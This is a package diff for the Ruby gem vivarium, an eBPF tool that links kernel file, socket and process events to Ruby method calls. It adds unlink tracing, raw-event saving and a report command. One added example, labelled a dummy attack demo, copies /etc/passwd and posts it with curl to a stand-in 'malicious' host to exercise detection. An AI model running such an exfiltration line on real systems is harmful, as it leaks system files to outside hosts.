vivarium 0.5.1 → 0.5.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 43539002d1068c28f470c91be68c64227c36312b72d4dc35a39ce89248cc0a97
4
- data.tar.gz: 7f1d83e733fcedc3094897317b0273c26a8e5317428dda1917022facd58b02c6
3
+ metadata.gz: 332c9bfd2267f44bac72dea2cf344bd5c515613333f18a479f830d72c0133749
4
+ data.tar.gz: af42fd7731c9c211fd34b120125793214d485c0567310e4b3d70866eaafcbf3f
5
5
  SHA512:
6
- metadata.gz: b7ef0d3e7501bd259fd405a09870eb785e042c920b93bbe93f6efb1804fafba44a5538df9a20c809934732338c49ffc6c29a3fcff74b5395fe7e7b86449fd849
7
- data.tar.gz: 250af21f03f00cb7cbec31b8bdced3b3b5effe618da48df1f0f83b1b5f42025085c35ec436506eef5ee60664f9bc7dfda6cb712e82fc18dfc9a3acd77893ba39
6
+ metadata.gz: f3543e2ee6a9b03a9916fb501957779b543782b8e247d66f084dddbd1372bfcc4de91082d7c875b25d7ff12fc9ad905c8675387df8eb049e40b2e57db121ff18
7
+ data.tar.gz: 604698d87ca591abdab4ead63bfd0053c43c9e5caaf86524eca626561a5e4e8bc47f267546ad4ac6882dd1f5f6692acf77eabf1e545aae0bba73b73daebf7033
data/ARCHITECTURE.md ADDED
@@ -0,0 +1,140 @@
1
+ # Vivarium Architecture
2
+
3
+ System architecture diagram of Vivarium.
4
+
5
+ ```mermaid
6
+ graph TB
7
+ subgraph Kernel["Kernel Space"]
8
+ LSM["LSM Hook<br/>- file_open<br/>- socket_connect<br/>- task_kill<br/>- ptrace_access<br/>etc"]
9
+ TP["Tracepoint<br/>- sys_enter_execve<br/>- sched_process_fork<br/>- sys_enter_sendmsg<br/>etc"]
10
+ UprobeSSL["uprobes<br/>- SSL_write<br/>- libc:getenv<br/>- libc:setenv"]
11
+
12
+ BPF["BPF Program<br/>(loaded by vivariumd)"]
13
+
14
+ LSM --> BPF
15
+ TP --> BPF
16
+ UprobeSSL --> BPF
17
+
18
+ MAP["Shared BPF Maps<br/>(bpffs)<br/>- config_root_targets<br/>- config_spawned_targets"]
19
+ BPF --> MAP
20
+
21
+ RINGBUF["BPF Ringbuffer<br/>- Kernel events<br/>- uprobe events"]
22
+ BPF --> RINGBUF
23
+ end
24
+
25
+ subgraph Daemon["vivariumd (root privilege)"]
26
+ DAEMON["BPF Program<br/>Loader & Manager"]
27
+ APISERVER["API Server<br/>(HTTP over UDS)"]
28
+
29
+ DAEMON --> MAP
30
+ DAEMON --> RINGBUF
31
+ APISERVER --> MAP
32
+ APISERVER --> RINGBUF
33
+ end
34
+
35
+ subgraph Client["Target Ruby Process"]
36
+ OBS["Vivarium.observe"]
37
+ TP_PROBE["TracePoint<br/>:call/:return"]
38
+ USDT_PROBE["USDT Probes<br/>- span_start<br/>- span_stop<br/>- span_raise"]
39
+ CORRELATOR["Correlator<br/>(Events ← Spans)"]
40
+ RENDER["Tree Renderer"]
41
+
42
+ OBS --> TP_PROBE
43
+ TP_PROBE --> USDT_PROBE
44
+ USDT_PROBE --> CORRELATOR
45
+ CORRELATOR --> RENDER
46
+ end
47
+
48
+ subgraph UDS["UDS Communication<br/>(/run/vivarium/vivariumd.sock)"]
49
+ REG["PID Register/Unregister<br/>PUT /targets/PID<br/>DELETE /targets/PID"]
50
+ EVENT_STREAM["Event Stream<br/>GET /events"]
51
+ end
52
+
53
+ DAEMON <--> UDS
54
+ OBS <--> REG
55
+ CORRELATOR <--> EVENT_STREAM
56
+
57
+ USDT_PROBE -.via Ringbuf.-> RINGBUF
58
+
59
+ MAP -->|Spawned PID Tracking| RINGBUF
60
+ RENDER -->|Final Output| OUTPUT["Process Tree<br/>with Events"]
61
+
62
+ style Kernel fill:#e1f5ff
63
+ style Daemon fill:#fff3e0
64
+ style Client fill:#f3e5f5
65
+ style UDS fill:#e8f5e9
66
+ ```
67
+
68
+ ## Components Description
69
+
70
+ ### 1. **vivariumd (Run with root privilege)**
71
+ - Load BPF program into the kernel
72
+ - Enable LSM Hook, Tracepoint, and uprobe
73
+ - Manage Shared BPF Maps (bpffs)
74
+ - Communicate with clients via HTTP API over Unix Domain Socket (UDS)
75
+
76
+ ### 2. **Kernel Space Event Sources**
77
+
78
+ #### LSM Hook (Linux Security Module)
79
+ - `file_open` - When a file is opened
80
+ - `socket_connect` - When a socket connects
81
+ - `socket_create` - When a socket is created
82
+ - `task_kill` - When a signal is sent
83
+ - `ptrace_access_check` - When ptrace is attempted
84
+ - Others: `sb_mount`, `kernel_read_file`, `capable_check`, etc.
85
+
86
+ #### Tracepoint
87
+ - `sys_enter_execve` - When a process is executed
88
+ - `sched_process_fork` - When a process forks (spawn tracking)
89
+ - `sys_enter_sendmsg/sendto/sendmmsg` - When DNS is sent
90
+ - `sys_enter_getdents64` - When directory entries are read
91
+
92
+ #### uprobes
93
+ - **libssl**: `SSL_write` - Monitor SSL communication
94
+ - **libc**: `getenv`, `setenv`, `unsetenv`, `putenv`, `clearenv` - Monitor environment variable access
95
+ - **Vivarium USDT Probe**: `span_start`, `span_stop`, `span_raise` - Ruby method boundaries
96
+
97
+ ### 3. **Shared BPF Maps** (pinned on bpffs: `/sys/fs/bpf/vivarium/`)
98
+ - `config_root_targets` - Root PID map (registered by user-side)
99
+ - `config_spawned_targets` - Spawned TID map (automatically tracked by sched_process_fork)
100
+ - `events` - BPF_RINGBUF_OUTPUT (event delivery)
101
+
102
+ ### 4. **BPF Ringbuffer**
103
+ - **Kernel events**: Fired from LSM Hook and Tracepoint
104
+ - **USDT events** (`span_start`, `span_stop`, `span_raise`): Fired from Ruby process via uprobe
105
+ - Event structure `event_t`:
106
+ ```c
107
+ {
108
+ u64 ktime_ns; // Kernel timestamp
109
+ u32 pid; // Process ID
110
+ u32 tid; // Thread ID
111
+ char event_name[16]; // Event name
112
+ char payload[256]; // Payload (device-specific)
113
+ }
114
+ ```
115
+
116
+ ### 5. **Target Ruby Process**
117
+ - Monitor code within `Vivarium.observe { ... }` block
118
+ - **TracePoint** (`:call`, `:return`): Detect Ruby method calls
119
+ - **USDT Probe** (Ruby::Box): Fire uprobe with `span_start`, `span_stop`, `span_raise`
120
+ - These events are sent to vivariumd **via Ringbuf**
121
+ - **Correlator**: Correlate kernel events received from Ringbuf to Span by timestamp and TID
122
+ - **Tree Renderer**: Visualize method tree and events
123
+
124
+ ### 6. **UDS Communication** (Unix Domain Socket)
125
+ Communicate via HTTP-over-UDS:
126
+ - `PUT /targets/{pid}` - Register PID as observation target → record in `config_root_targets`
127
+ - `DELETE /targets/{pid}` - Unregister
128
+ - `GET /events` - Open event stream (chunked response)
129
+ - `GET /healthz` - Health check
130
+
131
+ ## Data Flow
132
+
133
+ 1. **Initialization**: Ruby process calls `Vivarium.observe`
134
+ 2. **PID Registration**: Register PID to vivariumd via UDS → record in `config_root_targets`
135
+ 3. **Fork Tracking**: `sched_process_fork` Tracepoint automatically records Spawned TID in `config_spawned_targets`
136
+ 4. **Event Generation**: LSM Hook/Tracepoint/uprobe output events to Ringbuf
137
+ 5. **USDT Firing**: Ruby TracePoint :call/:return fires USDT probe → span_start/span_stop events
138
+ 6. **Event Reception**: Correlator reads Ringbuf events via UDS
139
+ 7. **Correlation**: Assign kernel events within span_start/span_stop time window to corresponding Span
140
+ 8. **Visualization**: Display method tree and event history as final output
data/README.md CHANGED
@@ -17,11 +17,7 @@ The goal is to visualize which Ruby method context triggered low-level events.
17
17
 
18
18
  Implemented in this repository:
19
19
 
20
- - BPF LSM hook on `file_open`
21
- - BPF LSM hooks on `inode_symlink`, `inode_link`, `inode_rename`, `path_chmod`
22
- - BPF tracepoint on `sys_enter_getdents64`
23
- - BPF tracepoint on `sys_enter_execve` (captures executable path and first few argv entries as `proc_exec`)
24
- - BPF tracepoint on `sched_process_fork` (tracks descendants and emits `proc_fork`)
20
+ BPF LSM hooks on `inode_symlink`, `inode_link`, `inode_rename`, `inode_unlink` (filename and parent directory name are captured as reference information only), `path_chmod`
25
21
  - BPF LSM hooks for suspicious behavior checks:
26
22
  - `ptrace_access_check` (emits `ptrace_check`)
27
23
  - `sb_mount` (emits `sb_mount`)
@@ -113,7 +109,7 @@ This demo intentionally triggers `sock_connect`, `dns_req`, and `odd_socket` eve
113
109
  bundle exec ruby examples/file_operation_demo.rb
114
110
  ```
115
111
 
116
- This demo intentionally triggers `path_open`, `file_symlink`, `file_hardlink`, `file_rename`, `file_chmod`, and `file_getdents` events under `/tmp`.
112
+ This demo intentionally triggers `path_open`, `file_symlink`, `file_hardlink`, `file_rename`, `file_chmod`, `file_unlink`, and `file_getdents` events under `/tmp`.
117
113
 
118
114
  5) Execve demo client:
119
115
 
@@ -0,0 +1,9 @@
1
+ def debug_output(msg)
2
+ $stderr.puts("[DEBUG] #{msg}") if ENV["VIVARIUM_DEBUG"]
3
+ end
4
+
5
+ debug_output "=== dummy attack demo ==="
6
+ system "cat /etc/passwd > /tmp/___________copy.txt 2>&1 || true"
7
+ system "curl -d@/tmp/___________copy.txt http://malicious.udzura.jp >/dev/null 2>&1 || true"
8
+ system "rm -f /tmp/___________copy.txt >/dev/null 2>&1 || true"
9
+ debug_output "=== done ==="
@@ -11,7 +11,7 @@ require "vivarium"
11
11
 
12
12
  TMP_PREFIX = "vivarium-file-demo"
13
13
  FILTER = {
14
- include_events: %w[path_open file_symlink file_hardlink file_rename file_chmod file_getdents]
14
+ include_events: %w[path_open file_symlink file_hardlink file_rename file_chmod file_unlink file_getdents]
15
15
  }.freeze
16
16
 
17
17
  def try_step(title)
@@ -57,6 +57,14 @@ Dir.mktmpdir(TMP_PREFIX, "/tmp") do |dir|
57
57
  File.stat(renamed_path)
58
58
  end
59
59
 
60
+ try_step("unlink hardlink") do
61
+ File.unlink(hardlink_path)
62
+ end
63
+
64
+ try_step("unlink symlink") do
65
+ File.unlink(symlink_path)
66
+ end
67
+
60
68
  try_step("list directory again") do
61
69
  Dir.children(dir)
62
70
  end
@@ -0,0 +1,46 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require "net/http"
5
+ require "uri"
6
+ require "vivarium"
7
+
8
+ # Where to write the raw capture. Override with VIVARIUM_RAW_PATH.
9
+ RAW_PATH = ENV.fetch("VIVARIUM_RAW_PATH", "/tmp/vivarium_save_raw_demo.vivraw")
10
+
11
+ # Usage:
12
+ # 1) In another shell (root): sudo bundle exec vivariumd
13
+ # 2) Run this script: bundle exec ruby examples/save_raw_demo.rb
14
+ # 3) Render the saved capture later (as many times as you like):
15
+ # bundle exec vivarium report #{RAW_PATH}
16
+ # bundle exec vivarium report --all #{RAW_PATH} # ignore the default filter
17
+ #
18
+ # Note: when `save_raw:` is given, observation runs in *save-only* mode — no live
19
+ # tree is drawn. The full, unfiltered event stream is written to RAW_PATH, so you
20
+ # can re-report the same capture with different filters afterwards.
21
+
22
+ Vivarium.observe(save_raw: RAW_PATH) do
23
+ # A few security-relevant actions to capture:
24
+
25
+ # File write (LSM path_open + File span)
26
+ path = "/tmp/vivarium_save_raw_demo.txt"
27
+ File.write(path, "hello from save_raw demo\n")
28
+ File.chmod(0o600, path)
29
+ File.delete(path)
30
+
31
+ # Outbound HTTPS (ssl_write + sock_connect + dns_req)
32
+ begin
33
+ uri = URI("https://udzura.jp/")
34
+ Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|
35
+ http.get(uri.request_uri)
36
+ end
37
+ rescue StandardError => e
38
+ warn "[save_raw_demo] Net::HTTP failed: #{e.class}: #{e.message}"
39
+ end
40
+
41
+ # Spawn a child process (proc_fork / proc_exec)
42
+ system("true")
43
+ end
44
+
45
+ puts "[save_raw_demo] raw events saved to #{RAW_PATH}"
46
+ puts "[save_raw_demo] render it with: bundle exec vivarium report #{RAW_PATH}"
data/lib/vivarium/cli.rb CHANGED
@@ -1,6 +1,7 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  require "optparse"
4
+ require "json"
4
5
 
5
6
  module Vivarium
6
7
  module CLI
@@ -10,11 +11,21 @@ module Vivarium
10
11
  opts.banner = "Usage: vivarium [options] <command> [args]"
11
12
  opts.separator ""
12
13
  opts.separator "Commands:"
13
- opts.separator " load <script> Load and observe a Ruby script"
14
+ opts.separator " load <script> Load and observe a Ruby script"
15
+ opts.separator " report <raw-file> Render a saved raw event file"
14
16
  opts.separator ""
15
17
  opts.separator "Options:"
16
18
  opts.on("--socket PATH", "vivariumd Unix domain socket path") { |v| options[:socket_path] = v }
17
19
  opts.on("-o", "--output PATH", "Log output file (default: stdout)") { |v| options[:dest] = File.open(v, "a") }
20
+ opts.on("--save-raw PATH", "load: save raw events to PATH instead of rendering") { |v| options[:save_raw] = v }
21
+ opts.on("--all", "report: show all events (ignore default filter)") { options[:show_all] = true }
22
+ opts.on("--filter JSON", "report: filter as a JSON object (overrides --event/default)") { |v| options[:filter_json] = v }
23
+ opts.on("--event NAMES", "report: comma-separated event names to include") do |v|
24
+ options[:event_names] = v.split(",").map(&:strip).reject(&:empty?)
25
+ end
26
+ opts.on("--max-span-depth N", Integer, "report: collapse method spans deeper than N (events kept)") do |v|
27
+ options[:max_span_depth] = v
28
+ end
18
29
  end
19
30
  parser.order!(argv)
20
31
 
@@ -22,6 +33,8 @@ module Vivarium
22
33
  case command
23
34
  when "load"
24
35
  run_load!(argv, options)
36
+ when "report"
37
+ run_report!(argv, options)
25
38
  else
26
39
  abort parser.help
27
40
  end
@@ -33,9 +46,58 @@ module Vivarium
33
46
  abort "File not found: #{script}" unless File.exist?(script)
34
47
 
35
48
  Vivarium.observe(socket_path: options[:socket_path], dest: options[:dest],
36
- filter: Vivarium::DEFAULT_FILTER) do
49
+ filter: Vivarium::DEFAULT_FILTER, save_raw: options[:save_raw]) do
37
50
  Kernel.load(File.expand_path(script))
38
51
  end
39
52
  end
53
+
54
+ def self.run_report!(argv, options)
55
+ raw = argv.shift
56
+ abort "Usage: vivarium report <raw-file>" unless raw
57
+ abort "File not found: #{raw}" unless File.exist?(raw)
58
+
59
+ data =
60
+ begin
61
+ File.open(raw, "rb") { |io| Vivarium::RawStore.load(io) }
62
+ rescue Vivarium::RawStore::FormatError => e
63
+ abort "Invalid vivarium-raw file #{raw}: #{e.message}"
64
+ end
65
+ meta = data[:meta]
66
+ filter = resolve_report_filter(options)
67
+ if options[:max_span_depth]
68
+ filter = (filter || {}).merge(max_span_depth: options[:max_span_depth])
69
+ end
70
+
71
+ Vivarium::TreeRenderer.new(
72
+ events: data[:events],
73
+ observer_pid: meta[:observer_pid],
74
+ main_tid: meta[:main_tid],
75
+ session_start_iso: meta[:session_start_iso],
76
+ session_start_ktime: meta[:session_start_ktime],
77
+ session_stop_iso: meta[:session_stop_iso],
78
+ session_stop_ktime: meta[:session_stop_ktime],
79
+ filter: filter,
80
+ dest: options[:dest]
81
+ ).render
82
+ end
83
+
84
+ # Resolve the report display filter by precedence:
85
+ # --all > --filter JSON > --event NAMES > DEFAULT_FILTER
86
+ def self.resolve_report_filter(options)
87
+ return nil if options[:show_all]
88
+
89
+ if options[:filter_json]
90
+ begin
91
+ return JSON.parse(options[:filter_json])
92
+ rescue JSON::ParserError => e
93
+ abort "Invalid --filter JSON: #{e.message}"
94
+ end
95
+ end
96
+
97
+ names = options[:event_names]
98
+ return { include_events: names } if names && !names.empty?
99
+
100
+ Vivarium::DEFAULT_FILTER
101
+ end
40
102
  end
41
103
  end
@@ -7,21 +7,20 @@ module Vivarium
7
7
  # Unix domain socket, reads chunked raw event_t records, accumulates them, and
8
8
  # renders a tree on stop. It never touches BPF maps or the ring buffer directly.
9
9
  class Correlator
10
- RawEvent = Struct.new(
11
- :ktime_ns, :pid, :tid, :event_name, :payload, :dropped_since_last,
12
- keyword_init: true
13
- )
14
-
15
10
  # Grace period after stop to let trailing events drain through the stream.
16
11
  DRAIN_SLEEP = 0.3
17
12
 
13
+ # In save_raw mode, emit a progress line every this many captured events.
14
+ SAVE_RAW_PROGRESS_INTERVAL = 1000
15
+
18
16
  def initialize(socket_path: Vivarium.socket_path, observer_pid:, main_tid:,
19
- filter: nil, dest: $stdout)
17
+ filter: nil, dest: $stdout, save_raw: nil)
20
18
  @socket_path = socket_path
21
19
  @observer_pid = observer_pid
22
20
  @main_tid = main_tid
23
21
  @filter = filter
24
22
  @dest = dest
23
+ @save_raw = save_raw
25
24
 
26
25
  @client = DaemonClient.new(socket_path: socket_path)
27
26
  @events = []
@@ -55,17 +54,24 @@ module Vivarium
55
54
  events_snapshot = @events_mutex.synchronize { @events.dup }
56
55
  @stopped = true
57
56
 
58
- TreeRenderer.new(
59
- events: events_snapshot,
57
+ meta = {
60
58
  observer_pid: @observer_pid,
61
59
  main_tid: @main_tid,
62
60
  session_start_iso: @session_start_iso,
63
61
  session_start_ktime: @session_start_ktime,
64
62
  session_stop_iso: @session_stop_iso,
65
- session_stop_ktime: @session_stop_ktime,
66
- filter: @filter,
67
- dest: @dest
68
- ).render
63
+ session_stop_ktime: @session_stop_ktime
64
+ }
65
+
66
+ if @save_raw
67
+ File.open(@save_raw, "wb") do |io|
68
+ Vivarium::RawStore.dump(io, events: events_snapshot, meta: meta)
69
+ end
70
+ warn "[vivarium] save_raw: saved #{events_snapshot.size} events -> #{@save_raw}"
71
+ return
72
+ end
73
+
74
+ TreeRenderer.new(events: events_snapshot, **meta, filter: @filter, dest: @dest).render
69
75
  end
70
76
 
71
77
  private
@@ -108,28 +114,18 @@ module Vivarium
108
114
  end
109
115
 
110
116
  def capture_event(bytes)
111
- bytes = bytes.to_s.b
112
- bytes = bytes.ljust(Vivarium::EVENT_STRUCT_SIZE, "\x00") if bytes.bytesize < Vivarium::EVENT_STRUCT_SIZE
113
-
114
- ktime_ns = bytes[Vivarium::EVENT_TS_OFFSET, Vivarium::EVENT_TS_SIZE].unpack1("Q<")
115
- pid = bytes[Vivarium::EVENT_PID_OFFSET, 4].unpack1("L<")
116
- tid = bytes[Vivarium::EVENT_TID_OFFSET, 4].unpack1("L<")
117
- event_name = Vivarium.c_string(bytes[Vivarium::EVENT_NAME_OFFSET, Vivarium::EVENT_NAME_SIZE])
118
- payload = bytes[Vivarium::EVENT_PAYLOAD_OFFSET, Vivarium::EVENT_PAYLOAD_SIZE].to_s.b
119
- dropped_since_last = bytes[Vivarium::EVENT_DROPPED_OFFSET, 8].unpack1("Q<")
120
-
121
- @events_mutex.synchronize do
122
- @events << RawEvent.new(
123
- ktime_ns: ktime_ns,
124
- pid: pid,
125
- tid: tid,
126
- event_name: event_name,
127
- payload: payload,
128
- dropped_since_last: dropped_since_last
129
- )
130
- end
117
+ ev = Vivarium::RawStore.unpack_record(bytes)
118
+ count = @events_mutex.synchronize { @events << ev; @events.size }
119
+ report_save_progress(count)
131
120
  rescue StandardError => e
132
121
  warn "[vivarium correlator] capture error: #{e.class}: #{e.message}"
133
122
  end
123
+
124
+ def report_save_progress(count)
125
+ return unless @save_raw
126
+ return unless (count % SAVE_RAW_PROGRESS_INTERVAL).zero?
127
+
128
+ warn "[vivarium] save_raw: captured #{count} events -> #{@save_raw}"
129
+ end
134
130
  end
135
131
  end
@@ -4,7 +4,8 @@ require "set"
4
4
 
5
5
  module Vivarium
6
6
  class DisplayFilter
7
- attr_reader :include_events, :exclude_events, :include_severities, :include_pids, :include_tids
7
+ attr_reader :include_events, :exclude_events, :include_severities, :include_pids, :include_tids,
8
+ :max_span_depth
8
9
 
9
10
  def self.compile(raw)
10
11
  return new if raw.nil?
@@ -28,6 +29,7 @@ module Vivarium
28
29
 
29
30
  @include_span_names = normalize_string_set(fetch_key(:include_span_names, :span_names))
30
31
  @span_pattern = normalize_pattern(fetch_key(:span, :span_pattern))
32
+ @max_span_depth = normalize_integer(fetch_key(:max_span_depth, :max_depth))
31
33
 
32
34
  payload_value = fetch_key(:payload)
33
35
  @payload_pattern = normalize_pattern(fetch_key(:payload_pattern))
@@ -128,6 +130,15 @@ module Vivarium
128
130
  end
129
131
  end
130
132
 
133
+ def normalize_integer(value)
134
+ return nil if value.nil?
135
+
136
+ n = Integer(value)
137
+ n.positive? ? n : nil
138
+ rescue ArgumentError, TypeError
139
+ nil
140
+ end
141
+
131
142
  def normalize_pattern(value)
132
143
  case value
133
144
  when nil
@@ -0,0 +1,82 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "json"
4
+
5
+ module Vivarium
6
+ RawEvent = Struct.new(
7
+ :ktime_ns, :pid, :tid, :event_name, :payload, :dropped_since_last,
8
+ keyword_init: true
9
+ )
10
+
11
+ # Reads and writes the vivarium-raw file format: a single JSON metadata line
12
+ # followed by fixed-size (EVENT_STRUCT_SIZE) event_t records. The record layout
13
+ # mirrors the C struct event_t so it round-trips losslessly.
14
+ module RawStore
15
+ # Raised when a file is not a valid vivarium-raw capture.
16
+ class FormatError < StandardError; end
17
+
18
+ FORMAT = "vivarium-raw"
19
+ VERSION = 1
20
+ PACK_FMT = "Q<L<L<a16a256Q<" # struct event_t (296B)
21
+
22
+ def self.pack_record(ev)
23
+ [
24
+ ev.ktime_ns, ev.pid, ev.tid,
25
+ ev.event_name.to_s.b.ljust(EVENT_NAME_SIZE, "\x00")[0, EVENT_NAME_SIZE],
26
+ ev.payload.to_s.b.ljust(EVENT_PAYLOAD_SIZE, "\x00")[0, EVENT_PAYLOAD_SIZE],
27
+ ev.dropped_since_last
28
+ ].pack(PACK_FMT)
29
+ end
30
+
31
+ def self.unpack_record(bytes)
32
+ bytes = bytes.to_s.b
33
+ bytes = bytes.ljust(EVENT_STRUCT_SIZE, "\x00") if bytes.bytesize < EVENT_STRUCT_SIZE
34
+
35
+ RawEvent.new(
36
+ ktime_ns: bytes[EVENT_TS_OFFSET, EVENT_TS_SIZE].unpack1("Q<"),
37
+ pid: bytes[EVENT_PID_OFFSET, 4].unpack1("L<"),
38
+ tid: bytes[EVENT_TID_OFFSET, 4].unpack1("L<"),
39
+ event_name: Vivarium.c_string(bytes[EVENT_NAME_OFFSET, EVENT_NAME_SIZE]),
40
+ payload: bytes[EVENT_PAYLOAD_OFFSET, EVENT_PAYLOAD_SIZE].to_s.b,
41
+ dropped_since_last: bytes[EVENT_DROPPED_OFFSET, 8].unpack1("Q<")
42
+ )
43
+ end
44
+
45
+ # io: a binary-writable IO. meta: session metadata Hash.
46
+ def self.dump(io, events:, meta:)
47
+ header = meta.merge(
48
+ format: FORMAT, version: VERSION,
49
+ event_struct_size: EVENT_STRUCT_SIZE, event_count: events.size
50
+ )
51
+ io.binmode
52
+ io.write(JSON.generate(header))
53
+ io.write("\n")
54
+ events.each { |ev| io.write(pack_record(ev)) }
55
+ end
56
+
57
+ # Returns { meta: Hash(symbol keys), events: [RawEvent, ...] }.
58
+ def self.load(io)
59
+ io.binmode
60
+ line = io.gets
61
+ raise FormatError, "empty file" if line.nil?
62
+
63
+ begin
64
+ meta = JSON.parse(line, symbolize_names: true)
65
+ rescue JSON::ParserError => e
66
+ raise FormatError, "header is not valid JSON: #{e.message}"
67
+ end
68
+ raise FormatError, "missing JSON object header" unless meta.is_a?(Hash)
69
+ unless meta[:format] == FORMAT
70
+ raise FormatError, "format=#{meta[:format].inspect} (expected #{FORMAT.inspect})"
71
+ end
72
+
73
+ events = []
74
+ while (rec = io.read(EVENT_STRUCT_SIZE))
75
+ break if rec.bytesize < EVENT_STRUCT_SIZE
76
+
77
+ events << unpack_record(rec)
78
+ end
79
+ { meta: meta, events: events }
80
+ end
81
+ end
82
+ end
@@ -84,6 +84,8 @@ module Vivarium
84
84
  all_spans_for_assign = (synthetic_spans + real_spans).sort_by { |s| s.start_ktime || 0 }
85
85
  assign_events_to_spans(all_spans_for_assign, sorted)
86
86
 
87
+ collapse_deep_spans(root_real_spans)
88
+
87
89
  print_header
88
90
  print_warnings
89
91
  print_observer_proc(root_with_synthetics)
@@ -142,6 +144,47 @@ module Vivarium
142
144
  [closed, children_map]
143
145
  end
144
146
 
147
+ # Trim method-call span nesting deeper than @display_filter.max_span_depth.
148
+ # The deep span frames are dropped, but their events are promoted onto the
149
+ # deepest still-visible ancestor span so no security-relevant event is lost.
150
+ def collapse_deep_spans(root_real_spans)
151
+ max = @display_filter.max_span_depth
152
+ return unless max
153
+
154
+ depth = {}
155
+ stack = root_real_spans.map { |s| [s, 1] }
156
+ until stack.empty?
157
+ span, d = stack.pop
158
+ depth[span] = d
159
+ (@children_map[span] || []).each { |child| stack.push([child, d + 1]) }
160
+ end
161
+
162
+ depth.each do |span, d|
163
+ next unless d == max
164
+
165
+ descendants = collect_descendant_spans(span)
166
+ next if descendants.empty?
167
+
168
+ descendants.each do |desc|
169
+ span.events.concat(desc.events)
170
+ desc.events = []
171
+ end
172
+ span.events.sort_by!(&:ktime_ns)
173
+ @children_map[span] = []
174
+ end
175
+ end
176
+
177
+ def collect_descendant_spans(span)
178
+ result = []
179
+ stack = (@children_map[span] || []).dup
180
+ until stack.empty?
181
+ child = stack.pop
182
+ result << child
183
+ stack.concat(@children_map[child] || [])
184
+ end
185
+ result
186
+ end
187
+
145
188
  def assign_descendants(spans, events)
146
189
  sorted_spans = spans.reject(&:synthetic).sort_by(&:start_ktime)
147
190
 
@@ -1,5 +1,5 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module Vivarium
4
- VERSION = "0.5.1"
4
+ VERSION = "0.5.2"
5
5
  end
data/lib/vivarium.rb CHANGED
@@ -330,6 +330,15 @@ module Vivarium
330
330
  "old_name=#{old_name.inspect} new_name=#{new_name.inspect}"
331
331
  end
332
332
 
333
+ def self.decode_file_unlink_payload(raw_payload)
334
+ bytes = raw_payload.to_s.b
335
+ filename = c_string(bytes[0, 128])
336
+ parent_dir = c_string(bytes[128, 128])
337
+ result = "filename=#{filename.inspect}"
338
+ result += " parent_dir=#{parent_dir.inspect}" if !parent_dir.empty?
339
+ result
340
+ end
341
+
333
342
  def self.decode_file_chmod_payload(raw_payload)
334
343
  bytes = raw_payload.to_s.b
335
344
  return "" if bytes.bytesize < 2
@@ -563,6 +572,9 @@ module Vivarium
563
572
  when "file_rename"
564
573
  decoded = decode_file_rename_payload(event.payload)
565
574
  decoded.empty? ? event.payload.inspect : decoded
575
+ when "file_unlink"
576
+ decoded = decode_file_unlink_payload(event.payload)
577
+ decoded.empty? ? event.payload.inspect : decoded
566
578
  when "file_chmod"
567
579
  decoded = decode_file_chmod_payload(event.payload)
568
580
  decoded.empty? ? event.payload.inspect : decoded
@@ -640,6 +652,11 @@ module Vivarium
640
652
  struct qstr d_name;
641
653
  };
642
654
 
655
+ struct dentry {
656
+ char __pad[__VIVARIUM_DENTRY_D_PARENT_OFFSET__];
657
+ struct dentry *d_parent;
658
+ };
659
+
643
660
  struct sockaddr_t {
644
661
  u16 sa_family;
645
662
  unsigned char sa_data[14];
@@ -1423,6 +1440,33 @@ module Vivarium
1423
1440
  return 0;
1424
1441
  }
1425
1442
 
1443
+ LSM_PROBE(inode_unlink, struct inode *dir, struct dentry *dentry)
1444
+ {
1445
+ u64 pid_tgid = bpf_get_current_pid_tgid();
1446
+ u32 pid = pid_tgid >> 32;
1447
+ u32 tid = (u32)pid_tgid;
1448
+
1449
+ if (!target_enabled(pid, tid)) {
1450
+ return 0;
1451
+ }
1452
+
1453
+ struct event_t ev = {};
1454
+ ev.pid = pid;
1455
+ __builtin_memcpy(ev.event_name, "file_unlink", 12);
1456
+
1457
+ if (dentry) {
1458
+ read_dentry_name(dentry, &ev.payload[0], 128);
1459
+
1460
+ struct dentry *parent = dentry->d_parent;
1461
+ if (parent && parent != dentry) {
1462
+ read_dentry_name(parent, &ev.payload[128], 128);
1463
+ }
1464
+ }
1465
+
1466
+ submit_event(&ev);
1467
+ return 0;
1468
+ }
1469
+
1426
1470
  LSM_PROBE(path_chmod, struct path *path, umode_t mode)
1427
1471
  {
1428
1472
  u64 pid_tgid = bpf_get_current_pid_tgid();
@@ -1717,9 +1761,11 @@ module Vivarium
1717
1761
 
1718
1762
  f_path_offset = detect_f_path_offset
1719
1763
  d_name_offset = detect_dentry_d_name_offset
1764
+ d_parent_offset = detect_dentry_d_parent_offset
1720
1765
  program = BPF_PROGRAM_TEMPLATE
1721
1766
  .gsub("__VIVARIUM_F_PATH_OFFSET__", f_path_offset.to_s)
1722
1767
  .gsub("__VIVARIUM_DENTRY_D_NAME_OFFSET__", d_name_offset.to_s)
1768
+ .gsub("__VIVARIUM_DENTRY_D_PARENT_OFFSET__", d_parent_offset.to_s)
1723
1769
 
1724
1770
  usdt_so_paths = resolve_usdt_so_paths
1725
1771
  usdt_contexts = build_usdt_contexts(usdt_so_paths)
@@ -1756,6 +1802,7 @@ module Vivarium
1756
1802
  puts "[vivariumd] started"
1757
1803
  puts "[vivariumd] pinned maps in #{@pin_dir}"
1758
1804
  puts "[vivariumd] watching LSM file_open (f_path offset=#{f_path_offset})"
1805
+ puts "[vivariumd] watching inode_unlink (d_parent offset=#{d_parent_offset}, d_name offset=#{d_name_offset})"
1759
1806
  puts "[vivariumd] API listening on unix:#{@socket_path}"
1760
1807
 
1761
1808
  loop do
@@ -2062,6 +2109,56 @@ module Vivarium
2062
2109
  rescue Errno::ENOENT
2063
2110
  raise Error, "bpftool is required to resolve struct dentry::d_name offset"
2064
2111
  end
2112
+
2113
+ def detect_dentry_d_parent_offset
2114
+ env_offset = ENV["VIVARIUM_DENTRY_D_PARENT_OFFSET"]
2115
+ return Integer(env_offset, 10) if env_offset
2116
+
2117
+ raw = IO.popen(
2118
+ %w[bpftool btf dump file /sys/kernel/btf/vmlinux format raw],
2119
+ err: IO::NULL,
2120
+ &:read
2121
+ )
2122
+
2123
